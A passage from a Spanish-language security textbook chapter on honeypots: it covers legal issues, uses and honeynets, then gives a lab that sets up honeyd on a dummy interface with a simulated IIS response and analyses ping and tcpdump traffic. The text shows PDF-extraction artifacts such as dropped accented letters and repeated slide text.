Ademas el abogado carlos Santiago Alvarez Cabrera trata los temas de Trampa, Provacidad y
responsabilidad del uso de los honeypots:
Trampa (Entrapment): Es el proceso realizado por los cuerpos policiales (law enforcement) de
inducir a alguien a cometer un acto punible con el objetivo de iniciar la accin judicial pertinente.
En este caso del Honeypot, aunque es un elemento pasivo creado por nosotros para ser atacado
(sin que seamos parte de los cuerpos policiales) si no deseamos perseguir judicialmente esta
intrusin en el Honeypot, no realizamos ninguna trampa. El objetivo del Honeypot es recibir los
ataques, no recoger informacin para demandar a los atacantes del Honeypot.
Privacidad (Privacy): La informacin recogida puede dividirse en informacin transaccional e
informacin de contenido.
Responsabilidad (Liability): Este aspecto hace referencia a las posibles demandas que podemos
recibir en el caso de que un atacante utilice nuestro Honeypot como plataforma de lanzamiento de
ataques. Las demandas se basaran en que nosotros no hemos realizado unos mnimos esfuerzos
de seguridad en nuestra red, sino que al contrario, facilitamos el acceso a nuestros recursos para
que sean utilizados en todo tipo de ataques.

592

Parte V, Captulo 22 Honeypots, conociendo al enemigo

Repercusiones legales

7.0

Trampa (Entrapment): Es el proceso realizado por los


cuerpos policiales (law enforcement) de inducir a
alguien a cometer un acto punible con el objetivo de
iniciar la accin judicial pertinente. En este caso del
Honeypot, aunque es un elemento pasivo creado por
nosotros para ser atacado (sin que seamos parte de
los cuerpos policiales) si no deseamos perseguir
judicialmente esta intrusin en el Honeypot, no
realizamos ninguna trampa. El objetivo del Honeypot
es recibir los ataques, no recoger informacin para
demandar a los atacantes del Honeypot.

Posibles utilidades

8.0

los Honeypots son tiles para las investigaciones forenses especficamente en las investigaciones de
inteligencia porque permiten analizar la actividad del hacker o atacante basados en el engao. Si ya
se conoce la identidad del atacante y adems usted va a tomar acciones contra del atacante es
importante recordar que antes de poner el honeypot se debe tener un permiso judicial contra el
atacante.
Utilidad en sistemas en produccin: Brindan proteccin, prevencin, deteccin y respuesta a los
ataques de baja interaccin.
Utilidad en la Investigacin: Permite recolectar informacin, ayuda a definir tendencias respecto de
las actividades del atacante, activacin de sistemas tempranos de alarma, prediccin de ataques e
investigaciones criminales con alta interaccin.
En concreto permiten ejercer el derecho a la legtima defensa.

Como ayudan en la deteccin y solucin de problemas

Dado que su objetivo fundamental es la construccin de un perfil del atacante permite la deteccin
de las 0 days vulnerabilidades que son tan intimidantes como las amenazas desconocidas.
Por ejemplo si detectamos trafico masivo y desconocido en la red se puede intuir que el atacante ya
esta adentro, entonces con un honeypots se puede capturar el username y el password del hacker,
permiten la activacin de keyloggins, la deteccin del email del atacante, permiten ver el contenido
del chat del hacker con terceros, etc.

Como ayudan
 Dado

que su objetivo fundamental es la


construccin de un perfil del atacante
permite la deteccin de las 0 days
vulnerabilidades
que
son
tan
intimidantes
como
las
amenazas
desconocidas.

593

Parte V, Captulo 22 Honeypots, conociendo al enemigo

En concreto: Se puede establecer como funciona el atacante que es lo que hace y como me hace
dao en forma detallada.

9.0

Honeynets

Se define una Honeynet como un conjunto de Honeypots altamente interactivos diseados para la
investigacin y la obtencin de informacin sobre atacantes. Una Honeynet es una arquitectura, no un
producto o un software determinado.
El objetivo es el de hacer creer al atacante que est ante una red real, entonces de deben aadir los
distintos elementos que conforman una arquitectura de red

Honeynets


Se define una Honeynet como un conjunto de


Honeypots altamente interactivos diseados
para la investigacin y la obtencin de
informacin sobre atacantes. Una Honeynet
es una arquitectura, no un producto o un
software determinado.
El objetivo es el de hacer creer al atacante
que est ante una red real, entonces de
deben aadir los distintos elementos que
conforman una arquitectura de red

Tradicionalmente, la mayora de los sistemas de seguridad han sido siempre de carcter defensivo. IDS,
Firewalls y dems soluciones se basan en la defensa de los sistemas de la organizacin, y cuando un ataque
o vulnerabilidad es detectado de inmediato se procede a corregirlo, entonces el mtodo tradicional no es
proactivo es correctivo por lo tanto no hay mejora intrnseca o proactividad propia de los sistemas. Las
Honeynets miran de cambiar esta actitud mediante el estudio de los ataques y atacantes. Obtener nuevos
patrones de comportamiento y nuevos mtodos de ataque con el objetivo de prevenirlos en los sistemas
reales.
Sin Honeynets, cada vez que se produzca un ataque nuevo y exitoso a un sistema real existente, este
dejar de dar servicio y se ver comprometido. Con las Honeynets, un ataque exitoso o nuevo no tiene
porqu afectar a ningn sistema real.
Adems perder el factor sorpresa, ya que habremos obtenidos datos precisos de su ataque en el estudio de
los logs, cosa que permitirn contrarrestarlo de una manera ms eficiente. Al igual que los Honeypots, la
cantidad y calidad de informacin producida es muy importante, ya que cualquier actividad existente es
sospechosa.

594

Parte V, Captulo 22 Honeypots, conociendo al enemigo

10.0

Laboratorio: Honeypots

Objetivos:

Detectar intentos de ataques a nuestra red mediante el uso de honeypots

Prerrequisitos:
Obtener el software Honeyd: software para la implementacin de honeypots, http://www.honeyd.org
Actividades:
APARTADO I: Interfaces de red virtuales
Ejecute el comando ifconfig para ver que interfaces de red tiene su estacin Linux, para hacer el laboratorio
Resultado 1.1: Que interfaces obtiene?
El comando ifconfig -a debe mostrar las siguientes interfaces:
lo

Link encap:Local Loopback


inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:82 errors:0 dropped:0 overruns:0 frame:0
TX packets:82 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:5847 (5.7 Kb) TX bytes:5847 (5.7 Kb)

La interface loopback representa el stack de protocolo por defecto.


Su sentido es probar conexiones simulando todo el stack TCP/IP. En este laboratorio la usaremos para
nuestra prctica. La IP asociada a la interface de loopback es la 127.0.0.1, y de hecho, por esa interface
responde toda la subred 127.0.0.0/8.
Compruebe la conectividad hacia la IP de loopback. En concreto ejecute los siguientes comandos:
ping 127.0.0.1
ping 127.0.0.2
Resultado 1.2: Que resultados obtiene? A que se debe? Indique el rango de IPs que contestaran a ping y
verifquelo
Respuesta:
Todos los IPs contestan por que esa es la funcin de la interface loopback, en particular sirve para hacer
simulacin del modelo cliente/servidor en forma local.
Para probarlo se propone construir un shell que hace un ping para un solo intento hacia todos los Ips del
segemento 127.0.0.0, debiendo responder desde el IP 127.0.0.1 hasta el IP 127.0.0.255 o broadcast:
#!/bin/sh
# Programa
: ping.sh
# Autor
: Armando Carvajal
# Parametros
: Argumento $1 es el numero de veces de secuencia
sec=1
while true
do
if [ $sec -gt $1 ]
then
exit 0
fi
ping -c 1 127.0.0.${sec}
sec=`expr $sec + 1`
done

595

Parte V, Captulo 22 Honeypots, conociendo al enemigo

Nota:
Observe los espacios antes y despus del parntesis cuadrado en la instruccin if [ $sec
Para probarlo digite sh ping.sh 255 | tee resultado.txt
Si mira el archivo resultado.txt debera ver lo siguiente:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms
--- 127.0.0.1 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms
PING 127.0.0.2 (127.0.0.2) 56(84) bytes of data.
64 bytes from 127.0.0.2: icmp_seq=1 ttl=64 time=0.011 ms
--- 127.0.0.2 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.011/0.011/0.011/0.000 ms
PING 127.0.0.3 (127.0.0.3) 56(84) bytes of data.
64 bytes from 127.0.0.3: icmp_seq=1 ttl=64 time=0.010 ms

--- 127.0.0.255 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.007/0.007/0.007/0.000 ms
Ahora generemos un entorno de simulacin. Disponemos nicamente de un servidor con Linux y
simularemos otro conjunto de hosts en la propia mquina para disminuir costos de recursos en hardware
para el laboratorio:
Esta mquina la conectaremos a una subred, tambin con direccionamiento privado.
Recordemos que el direccionamiento privado no figura en las tablas de routing de la red Internet. En
concreto, para nuestra red simulada usaremos las direcciones 192.168.100.0/24.
Lo que nos proponemos en primer lugar es dar a la mquina una direccin de esa red. Como hemos
supuesto que no disponemos de ninguna otra interface, generaremos una. Linux nos permite generar hasta
2 interfaces virtuales. Son las llamadas interfaces dummy. As, conectaremos nuestro host de ejemplo a la
subred 192.168.100.0 con el comando:
ifconfig dummy0 192.168.100.1 netmask 255.255.255.0 up
12. La opcion netmask indica mascara de red
13. La opcion up indica que se habilite de inmediato
Compruebe que la interface se ha creado, ejecutando nuevamente el comando:
ifconfig a
Al acabar este apartado, debemos tener una mquina funcionando que responde a las IPs 127.0.0.1 y
192.168.100.1.
La red 192.168.100.0/24 la usaremos para colocar mquinas trampa para detectar cualquier intento de
ataque que se est produciendo en ella.
Resultado 1.2: Compruebe la conectividad ejecutando ping a la nueva direccin. Compruebe tambien que
interfaces presenta ahora el sistema (con el comando ifconfig -a).
Respuesta:
ifconfig dummy0 192.168.100.1 netmask 255.255.255.0 up
ifconfig a

596

Parte V, Captulo 22 Honeypots, conociendo al enemigo

dummy0 Link encap:Ethernet HWaddr 00:00:00:00:00:00


inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0
UP BROADCAST RUNNING NOARP MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:21 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:2485 (2.4 KiB)
lo

Link encap:Local Loopback


inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:36 errors:0 dropped:0 overruns:0 frame:0
TX packets:36 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3024 (2.9 KiB) TX bytes:3024 (2.9 KiB)

nicamente deben aparecer las dos interfaces lo y dummy0.


Ahora pruebe las interfaces:
ping 192.168.100.1
PING 192.168.100.1 (192.168.100.1): 56 data bytes
64 bytes from 192.168.100.1: icmp_seq=0 ttl=64 time=0.0 ms
64 bytes from 192.168.100.1: icmp_seq=1 ttl=64 time=0.0 ms
64 bytes from 192.168.100.1: icmp_seq=2 ttl=64 time=0.0 ms
--- 192.168.100.1 ping statistics --3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.0 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.0 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.0 ms
--- 127.0.0.1 ping statistics --3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
Los comandos ping anteriores prueban que las interfaces estn dadas de alta pues responden al comando
ping.

APARTADO II: Deteccin de escaneos y ataques. Configuracin de un honeypot


En la actualidad, muchos de los ataques que se producen en las redes tienen lugar mediante un proceso en
dos fases: un escaneo previo para detectar mquinas susceptibles de ser atacadas, y el ataque posterior. El
objetivo de este apartado es ser capaces de detectar esos ataques y guardar la informacin relevante.
En el caso real, la red de nuestra organizacin sera la que en nuestro ejemplo es la 192.168.100.0/24. Lo
que vamos a hacer es incluir en ella un conjunto de mquinas honeypot que permitan detectar los ataques
que en ella se producen.
El funcionamiento de honeyd es muy simple y potente, esencialmente consiste en indicarle al software que
escuche sobre una determinada direccin y que opere de una forma con los paquetes que reciba.
En el directorio del usuario root cree un nuevo archivo de configuracin llamado honey.cfg, para el servicio
honeyd, por ejemplo:
vi /root/honey.cfg

597

Parte V, Captulo 22 Honeypots, conociendo al enemigo

create template
set
template personality "OpenBSD 2.6-2.8"
set
template default tcp action block
set
template uid 1000 gid 1000
bind
192.168.100.3 template
set
192.168.100.3 uptime 1327650

Para enrutar el trfico de la red 192.168.100.0 ejecute el comando:


route add -net 192.168.100.0/24 gw 127.0.0.1
La opcin net indica la red y la opcin gw indica pasarela o gateway.

Ahora inicie el servicio honeyd en la consola virtual CTRL-ALT-F2:


honeyd -d -i lo -f honey.cfg -l log.honeyd
La pantalla no muestra mensajes hasta que no e haga ping hacia la interface de red.

Ahora haga ping en la consola virtual CTRL-ALT-F1:


ping 192.168.100.2
Observe el trfico que el honeyd presenta en la consola virtual CTRL-ALT-F2:
honeyd[566]: started with -d -i lo -f honey.cfg
Warning: Impossible SI range in Class fingerprint "Windows NT 4 SP3"
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:
honeyd[566]:

listening on lo: ip
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo
Sending ICMP Echo

Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:
Reply:

192.168.100.2 -> 192.168.100.1


192.168.100.2 -> 192.168.100.1
192.168.100.2 -> 192.168.100.1
192.168.100.3 -> 192.168.100.1
192.168.100.3 -> 192.168.100.1
192.168.100.4 -> 192.168.100.1
192.168.100.4 -> 192.168.100.1
192.168.100.5 -> 192.168.100.1
192.168.100.5 -> 192.168.100.1
192.168.100.6 -> 192.168.100.1
192.168.100.6 -> 192.168.100.1
192.168.100.6 -> 192.168.100.1
192.168.100.100 -> 192.168.100.1
192.168.100.100 -> 192.168.100.1
192.168.100.100 -> 192.168.100.1
192.168.100.200 -> 192.168.100.1
192.168.100.200 -> 192.168.100.1
192.168.100.200 -> 192.168.100.1
192.168.100.254 -> 192.168.100.1
192.168.100.254 -> 192.168.100.1
192.168.100.254 -> 192.168.100.1

El comando ping debe responder no solo al IP 192.168.100.2 sino a cualquier IP del segmento, pruebe
haciendo ping a varias IP de la red 192.168.100.0.

598

Parte V, Captulo 22 Honeypots, conociendo al enemigo

Ahora al parar el servicio honeyd con las teclas CTRL-C, las IPs del segmento 192.168.100.0 no deben
responder.
!! Los servicios reales no pueden correr simultneamente con la simulacin honeyd !!

Vuelva a subir el servicio honeyd en la consola virtual CTRL-ALT-F2, ahora observe el trfico con un sniffer
como tcpdump en la consola virtual CTRL-ALT-F3:
tcpdump i lo | tee logs.tcpdump
Observemos los logs:
tcpdump: listening on lo
00:19:18.850198 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
00:19:18.850301 192.168.100.2 > 192.168.100.1: icmp: echo reply
00:19:18.850732 uoc.32768 > uoc.domain: 59933+ PTR? 2.100.168.192.in-addr.arpa.
00:19:18.850741 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:18.850810 uoc.32768 > uoc.domain: 59933+ PTR? 2.100.168.192.in-addr.arpa.
00:19:18.850815 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:18.850906 uoc.32768 > uoc.domain: 59934+ PTR? 1.100.168.192.in-addr.arpa.
00:19:18.850911 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:18.850967 uoc.32768 > uoc.domain: 59934+ PTR? 1.100.168.192.in-addr.arpa.
00:19:18.850971 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:19.848096 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
00:19:19.848149 192.168.100.2 > 192.168.100.1: icmp: echo reply
00:19:20.848091 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)
00:19:20.848144 192.168.100.2 > 192.168.100.1: icmp: echo reply
00:19:29.206180 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)
00:19:29.206256 192.168.100.4 > 192.168.100.1: icmp: echo reply
00:19:29.206553 uoc.32768 > uoc.domain: 59935+ PTR? 4.100.168.192.in-addr.arpa.
00:19:29.206561 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:29.206622 uoc.32768 > uoc.domain: 59935+ PTR? 4.100.168.192.in-addr.arpa.
00:19:29.206626 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
00:19:30.198089 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)
00:19:30.198140 192.168.100.4 > 192.168.100.1: icmp: echo reply
00:19:31.198085 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)
00:19:31.198141 192.168.100.4 > 192.168.100.1: icmp: echo reply

(44) (DF)
(44) (DF)
(44) (DF)
(44) (DF)

(44) (DF)
(44) (DF)

48 packets received by filter


0 packets dropped by kernel
Se debera ver claramente el envo del requerimiento del comando ping y la respuesta respectiva, adems se
debera ver que el trafico DNS muestra que no se puede resolver la reversa del IP 192.168.100.2 es decir
especficamente el registro PTR no puede ser resuelto.

Creacin de un honeypot para capturar el trfico del puerto 80 sobre el IP 192.168.100.3:


Modifique el archivo honey.cfg para que:

Responda al trfico ICMP


Tenga abierto el puerto 80 TCP
Cuando reciba una peticin por el puerto 80 TCP ejecute el comando sh /tmp/web.sh y guarde los
intentos de ataque en un log.

Resultado 2.1: Que posibles utilidades se ven en este software en el diario vivir de una organizacin
conectada a Internet? Como ayudara en la deteccin de problemas?
Respuesta:
Cree un nuevo archivo de configuracin honey.cfg para que aparezcan los nuevos requerimientos:
create default
set
default
set
default

personality "FreeBSD 2.2.1-STABLE"


default tcp action block

599

Parte V, Captulo 22 Honeypots, conociendo al enemigo

add
set
bind
set
Nota:

default
default
192.168.100.3
192.168.100.3

tcp port 80 "sh /tmp/web.sh"


uid 1000 gid 1000
default
uptime 1327650

Es clave la instruccin set default default tcp action block para que el servidor web responda al
requerimiento. Si prueba todas las posibilidades nicamente block funcionara.
La ruta para el shell web.sh en knoppix-std es: /usr/share/doc/honeyd/examples/web.sh
La ruta para el shell web.sh en Linux Auditor es: /usr/share/honeyd/scripts/web.sh

Haga una copia hacia la carpeta /tmp y verifique que el shell web.sh contenga las siguientes lneas:
#!/bin/sh
DATE=`date`
cat << _eof_
HTTP/1.0 200 OK
Date: $DATE
Server: Microsoft-IIS/5.0
Connection: close
Content-Type: text/plain

Volume in drive C is Webserver


Volume Serial Number is 3421-07F5
Directory of C:\inetpub
01-20-02 3:58a
08-21-01 9:12a
08-21-01 11:28a
08-21-01 6:43p
07-09-00 12:04a
07-03-00 2:09a
07-16-00 3:49p
07-09-00 3:10p
07-16-00 4:43p
0 file(s)
20 dir(s)
_eof_

<DIR>
.
<DIR>
..
<DIR>
AdminScripts
<DIR>
ftproot
<DIR>
iissamples
<DIR>
mailroot
<DIR>
Scripts
<DIR>
webpub
<DIR>
wwwroot
0 bytes
290,897,920 bytes free

Ahora reinicie el servicio honeyd con el nuevo archivo de configuracin, hgalo en la consola virtual CTRLALT-F2:
Baje el servicio cancelando el proceso con la secuencia de teclas CTRL-C:
honeyd -d -i lo -f honey.cfg -l log.honeyd
Ejecute los siguientes comandos en la terminal virtual CTRL-ALT F1:
Pruebe que el servidor web responda:
telnet

192.168.100.3 80

Trying 192.168.100.3... Connected to 192.168.100.3. Escape character is '^]'.


Digite:
GET /
Y dos veces la tecla enter.
Vera una pantalla del servidor MS Windows simulada por linux.

600

Parte V, Captulo 22 Honeypots, conociendo al enemigo

Haga un ping al IP del servidor 192.168.100.3:


ping 192.168.100.3
PING 192.168.100.3 (192.168.100.3): 56 data bytes 64 bytes from 192.168.100.3: icmp_seq=0 ttl=64
time=0.4 ms
64 bytes from 192.168.100.3: icmp_seq=1 ttl=64 time=0.1 ms
64 bytes from 192.168.100.3: icmp_seq=2 ttl=64 time=0.1 ms
64 bytes from 192.168.100.3: icmp_seq=3 ttl=64 time=0.1 ms --- 192.168.100.3 ping statistics --- 4
packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.1/0.1/0.4 ms

ping 192.168.100.254
PING 192.168.100.254 (192.168.100.254): 56 data bytes
64 bytes from 192.168.100.254: icmp_seq=0 ttl=64 time=0.3 ms 64 bytes from 192.168.100.254:
icmp_seq=1 ttl=64 time=0.1 ms 64 bytes from 192.168.100.254: icmp_seq=2 ttl=64 time=0.1 ms
64 bytes from 192.168.100.254: icmp_seq=3 ttl=64 time=0.1 ms --- 192.168.100.254 ping statistics --- 4
packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.1/0.1/0.3 ms
Se deben obtener los siguientes logs en el tcpdump:
2006-01-25-18:39:06.0556
2006-01-25-18:39:06.0556
2006-01-25-18:39:09.0749
2006-01-25-18:39:11.0026
2006-01-25-18:39:11.0029
2006-01-25-18:39:11.0029
2006-01-25-18:39:11.0029
2006-01-25-18:39:11.0029
2006-01-25-18:39:11.0032
2006-01-25-18:39:21.0038
2006-01-25-18:39:27.0412
2006-01-25-18:39:27.0412
2006-01-25-18:39:28.0408
2006-01-25-18:39:28.0409
2006-01-25-18:39:29.0408
2006-01-25-18:39:29.0409
2006-01-25-18:39:30.0408
2006-01-25-18:39:30.0409
2006-01-25-18:39:38.0096
2006-01-25-18:39:38.0096
2006-01-25-18:39:39.0088
2006-01-25-18:39:39.0089
2006-01-25-18:39:40.0088
2006-01-25-18:39:40.0089
2006-01-25-18:39:41.0088
2006-01-25-18:39:41.0089

tcp(6) S 192.168.100.1 32804 192.168.100.3 80 [Linux 2.4 lo0]


tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 44 SA
tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 A
tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 A
tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 552 A
tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 552 A
tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 74 A
tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 FA
tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 A
tcp(6) E 192.168.100.1 32804 192.168.100.3 80: 9 1058
icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84 [Linux 2.4 lo0]
icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84
icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84 [Linux 2.4 lo0]
icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84
icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84 [Linux 2.4 lo0]
icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84
icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84 [Linux 2.4 lo0]
icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84
icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84 [Linux 2.4 lo0]
icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84
icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84 [Linux 2.4 lo0]
icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84
icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84 [Linux 2.4 lo0]
icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84
icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84 [Linux 2.4 lo0]
icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84

APARTADO III: Evaluacion del trafico de red generado desde y hacia el honeypot
Uno de los programas ms usados actualmente para la captura de trfico es ethereal. En este apartado lo
usaremos para capturar el trfico de la sesin http generado en el apartado anterior. Una primera
introduccin a la captura de trfico la hemos comentado en el apartado anterior. La utilidad tcpdump permite
la captura de trfico.
La forma ms simple es mediante la ejecucin de:
tcpdump i <nombre_interface>
Revise el sitio: http://www.arrakis.es/~terron/tcpdump.html

601

Parte V, Captulo 22 Honeypots, conociendo al enemigo

Resultado 3.1: Ejecute el comando tcpdump y realiza una conexin web como la solicitada en la parte II de
la practica. Observe los paquetes e identifique la conexin tcp que tiene lugar. Es posible capturar paquetes
ARP? A que se debe?
Respuesta: Se debera ver algo como este log del comando tcpdump -i lo
tcpdump: listening on lo
20:44:19.378034 192.168.100.1.32773 > 192.168.100.3.www: S 438126803:438126803(0) win 32767
<mss 16396,sackOK,timestamp 297028 0,nop,wscale 0> (DF)
20:44:19.378178 192.168.100.3.www > 192.168.100.1.32773: S 1300529704:1300529704(0) ack
438126804 win 16430 <mss 1460> (DF)
20:44:19.378191 192.168.100.1.32773 > 192.168.100.3.www: . ack 1 win 32767 (DF)
20:44:19.378803 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.in-addr.arpa. (44) (DF)
20:44:19.378814 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
20:44:19.378844 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.in-addr.arpa. (44) (DF)
20:44:19.378849 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
20:44:19.378902 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.in-addr.arpa. (44) (DF)
20:44:19.378906 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
20:44:19.378921 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.in-addr.arpa. (44) (DF)
20:44:19.378925 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
20:44:19.379486 192.168.100.1.32773 > 192.168.100.3.www: P 1:430(429) ack 1 win 32767 (DF)
20:44:19.384103 192.168.100.3.www > 192.168.100.1.32773: . ack 430 win 16001
20:44:19.442926 192.168.100.3.www > 192.168.100.1.32773: . 1:513(512) ack 430 win 16430
20:44:19.442951 192.168.100.1.32773 > 192.168.100.3.www: . ack 513 win 33768 (DF)
20:44:19.443284 192.168.100.3.www > 192.168.100.1.32773: . 513:1025(512) ack 430 win 16430
20:44:19.443291 192.168.100.1.32773 > 192.168.100.3.www: . ack 1025 win 33768 (DF)
20:44:19.443374 192.168.100.3.www > 192.168.100.1.32773: . 1025:1059(34) ack 430 win 16430
20:44:19.443379 192.168.100.1.32773 > 192.168.100.3.www: . ack 1059 win 33768 (DF)
20:44:19.443688 192.168.100.3.www > 192.168.100.1.32773: F 1059:1059(0) ack 430 win 16430
20:44:19.443803 192.168.100.1.32773 > 192.168.100.3.www: F 430:430(0) ack 1060 win 33768 (DF)
20:44:19.443835 192.168.100.3.www > 192.168.100.1.32773: . ack 431 win 16430
20:44:22.165224
uoc.32774
>
uoc.16001:
S
446820472:446820472(0)
win
32767
<mss
16396,sackOK,timestamp 297307 0,nop,wscale 0> (DF)
20:44:22.165243 uoc.16001 > uoc.32774: R 0:0(0) ack 446820473 win 0 (DF)
48 packets received by filter
Las anteriores lneas no muestran trafico ARP, es decir no se puede capturar trafico ARP debido a que la
interface de red dummy0 no tiene el flag ARP activado por que esta no tiene MAC.
En concreto la interface no tiene MAC Address, el protocolo ARP dado un IP responde con la MAC address de
la interface de red y esta no lo tiene pues es virtual.
Si revisa el archivo /proc/net/arp no contiene Mac Address pues en esta maquina no hay tarjetas fsicas
activadas.
Observe la interface:
dummy0 Link encap:Ethernet HWaddr 00:00:00:00:00:00
inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::200:ff:fe00:0/64 Scope:Link
UP BROADCAST RUNNING NOARP MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:3 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:210 (210.0 b)
Las lneas:
20:44:19.378034 192.168.100.1.32773 > 192.168.100.3.www: S 438126803:438126803(0) win 32767
<mss 16396,sackOK,timestamp 297028 0,nop,wscale 0> (DF)
20:44:19.378178 192.168.100.3.www > 192.168.100.1.32773: S 1300529704:1300529704(0) ack
438126804 win 16430 <mss 1460> (DF)
20:44:19.378191 192.168.100.1.32773 > 192.168.100.3.www: . ack 1 win 32767 (DF)

602

Parte V, Captulo 22 Honeypots, conociendo al enemigo

Muestran el inicio de sesin dado los paquetes Sync, Sync+Ack, Ack entre el cliente 192.168.100.1 y el
servidor 192.168.100.3.
Las lneas:
20:44:19.378803
20:44:19.378814
20:44:19.378844
20:44:19.378849
20:44:19.378902
20:44:19.378906
20:44:19.378921
20:44:19.378925

uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.in-addr.arpa.


uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.in-addr.arpa.
uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.in-addr.arpa.
uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]
uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.in-addr.arpa.
uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]

(44) (DF)
(44) (DF)
(44) (DF)
(44) (DF)

Muestran trfico de tipo DNS donde se reporta que el registro inverso no se encuentra en el dns.
Esto se debe a que el servicio DNS no esta activado en este servidor de pruebas.
El resto de lneas muestran el intercambio de informacin entre el servidor y el cliente as como la
finalizando la sesin.
Para los amantes del modo grfico (y para casos en que es til un anlisis ms en detalle) el paquete
Ethereal nos ser de suma utilidad.
Revise el sitio http://www.ethereal.com/docs/
Vamos a capturar la misma secuencia de conexin al servidor web ficticio. Para ello, ejecutaremos Ethereal,
y una vez lo hayamos puesto a funcionar, ejecutaremos la conexin a http://192.168.100.3/.
